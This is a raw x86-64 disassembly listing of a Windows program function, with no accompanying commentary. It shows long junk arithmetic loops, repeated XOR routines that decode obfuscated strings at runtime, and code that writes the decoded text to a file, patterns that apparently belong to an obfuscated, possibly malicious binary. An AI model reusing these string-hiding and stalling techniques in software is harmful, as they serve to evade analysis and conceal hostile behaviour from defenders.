mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x230]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x234]
btc r15d, 0x1f
sub r15d, r12d
xor edi, edi
nop
mov r14d, edi
lea rcx, [rbp + 0x610]
cmp r15d, 0xffffffff
jne 0x14000e669
call fcn.140024a70
mov ecx, eax
jmp 0x14000e6aa
lea ebx, [r15 + 1]
call fcn.140024a70
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14000e6a6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14000e6a6
nop dword [rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14000e690
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14000e6d0
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r14b, 1
jne 0x14000e78e
lea rcx, [rbp + 0x610]
cmp r15d, 0xffffffff
jne 0x14000e734
call fcn.140024a70
mov ecx, eax
jmp 0x14000e77a
lea ebx, [r15 + 1]
call fcn.140024a70
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14000e776
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14000e776
nop word [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14000e760
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000e7f1
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14000e7a0
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r14d
cmp r14d, 5
jl 0x14000e653
sub r13, 1
jne 0x14000e650
mov rdi, qword [rbp - 0x70]
mov rcx, qword [rbp + 0x290]
test rcx, rcx
je 0x14000e86f
mov rax, qword [rbp + 0x2a0]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e853
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e8d3
call fcn.14002c350
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x290], xmm0
xor r12d, r12d
mov qword [rbp + 0x2a0], r12
jmp 0x14000e872
xor r12d, r12d
mov rdx, qword [rbp + 0x360]
cmp rdx, 0xf
jbe 0x14000e8af
inc rdx
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e8aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e8da
call fcn.14002c350
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp eax, 0x186a0
jl 0x14000de42
movabs rsi, 0xb2f4fc0794908cf3
jmp 0x14000dda4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x238]
test rbx, rbx
je 0x14000e97f
mov rdi, qword [rbp + 0x240]
cmp rbx, rdi
je 0x14000e927
mov r14d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000e917
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000e907
mov rbx, qword [rbp + 0x238]
mov rax, qword [rbp + 0x248]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000e965
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e965
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002c350
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], r12
movups xmm0, xmmword [0x140031860]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [0x140031870]
movups xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [0x140031880]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x140031890]
movups xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [0x1400318a0]
movups xmmword [rbp + 0x210], xmm0
movsd xmm0, qword [0x1400318b0]
movsd qword [rbp + 0x220], xmm0
mov eax, dword [0x1400318b8]
mov dword [rbp + 0x228], eax
mov r9d, r12d
mov ebx, dword [0x14003a090]
cmp ebx, 2
jl 0x14000ebb7
movdqa xmm8, xmmword [0x140031960]
movdqa xmm6, xmmword [0x1400319c0]
movdqa xmm7, xmmword [0x1400319f0]
movdqa xmm9, xmmword [0x140031980]
movdqa xmm10, xmmword [0x140031a00]
movdqa xmm11, xmmword [0x1400319a0]
lea rcx, [rbp + 0x1d0]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x14000ea30
cmp r9d, 0x2e
jge 0x14000ec26
movsxd rax, r9d
lea r10, [rbp + 0x1d0]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x77
sub r8w, cx
add r8w, 0x55
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x14000ebd0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x410]
call fcn.140022010
movups xmm11, xmmword [0x140031790]
movups xmmword [rbp + 0x80], xmm11
movsd xmm0, qword [0x1400317a0]
movsd qword [rbp + 0x90], xmm0
mov eax, dword [0x1400317a8]
mov dword [rbp + 0x98], eax
movzx eax, word [0x1400317ac]
mov word [rbp + 0x9c], ax
mov r9d, r12d
cmp ebx, 2
jl 0x14000ee13
movdqa xmm6, xmmword [0x1400319c0]
movdqa xmm7, xmmword [0x1400319f0]
movdqa xmm10, xmmword [0x1400319a0]
movdqa xmm5, xmmword [0x140031960]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a00]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140031980]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp + 0x80], xmm3
movdqa xmm5, xmmword [0x140031970]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a00]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140031980]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp + 0x88]
xorps xmm3, xmm1
movq qword [rbp + 0x88], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp + 0x80]
lea r10, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x77
sub r8w, cx
add r8w, 0x55
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x14000ee30
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x410]
call fcn.140022010
lea rdx, [rbp + 0x2a8]
mov r8, qword [rbp + 0x2b8]
mov rcx, rax
cmp qword [rbp + 0x2c0], 7
jbe 0x14000eebb
mov rdx, qword [rbp + 0x2a8]
call fcn.1400237e0
mov r11, rax
movzx eax, word [0x1400310e0]
movsd xmm0, qword [0x1400310d8]
movups xmm11, xmmword [str.wykq]
mov word [rbp + 0x10], ax
movsd qword [rbp + 8], xmm0
movups xmmword [rbp - 8], xmm11
mov r9d, r12d
cmp ebx, 2
jl 0x14000f07f
movdqa xmm6, xmmword [0x1400319c0]
movdqa xmm7, xmmword [0x1400319f0]
movdqa xmm10, xmmword [0x1400319a0]
movdqa xmm5, xmmword [0x140031960]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a00]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140031980]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 8], xmm3
movdqa xmm5, xmmword [0x140031970]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140031a00]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140031980]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp]
xorps xmm3, xmm1
movq qword [rbp], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp - 8]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x77
sub r8w, dx
add r8w, 0x55
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x14000f090
lea rdx, [rbp - 8]
mov rcx, r11
call fcn.140022010
lea rcx, [rbp + 0x418]
call fcn.140021210
test rax, rax
jne 0x14000f127
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x410]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 7
jbe 0x14000f170
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f16b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f16b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002c350
mov qword [rbp + 0x2b8], r12
mov qword [rbp + 0x2c0], 7
mov word [rbp + 0x2a8], r12w
xorps xmm0, xmm0
mov r13, qword [rbp + 0x18]
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], r12
movups xmm0, xmmword [rbp + 0x2e0]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x2f0]
movups xmmword [r13 + 0x10], xmm1
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], 7
mov word [rbp + 0x2e0], r12w
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x410], rax
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x40c], edx
lea rcx, [rbp + 0x418]
call fcn.14001ee70
lea rcx, [rbp + 0x420]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 7
jbe 0x14000f272
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f26d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f26d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002c350
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], 7
mov word [rbp + 0x2e0], r12w
mov rdx, qword [rbp + 0x380]
cmp rdx, 7
jbe 0x14000f2d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f2d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f2d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002c350
mov qword [rbp + 0x378], r12
mov qword [rbp + 0x380], 7
mov word [rbp + 0x368], r12w
mov rax, qword [rbp + 0x520]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x520], rax
mov rax, qword [rbp + 0x520]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x51c], edx
lea rcx, [rbp + 0x528]
call fcn.14001f560
lea rcx, [rbp + 0x530]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x388]
xor rdx, qword [rbp + 0x390]
mov rcx, qword [rbp + 0x398]
mov qword [rcx], rdx
mov rax, r13
mov rcx, qword [rbp + 0x5660]
xor rcx, rsp
call fcn.14002c330
lea r11, [rsp + 0x5810]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov word [rsp + 0x34], r12w
lea rdx, [rsp + 0x34]
mov rcx, qword [rbp + 0x18]
call fcn.1400204c0
nop
lea rcx, [rbp + 0x410]
call fcn.14000f4c0
nop
lea rcx, [rbp + 0x2e0]
call fcn.1400026f0
nop
lea rcx, [rbp + 0x368]
call fcn.1400026f0
nop
lea rcx, [rbp + 0x520]
call fcn.14000f450
nop
mov rcx, qword [rbp + 0x388]
xor rcx, qword [rbp + 0x390]
mov rax, qword [rbp + 0x398]
mov qword [rax], rcx
mov rax, qword [rbp + 0x18]
jmp 0x14000f363
call fcn.1400018d0
int3
call fcn.140001830
int3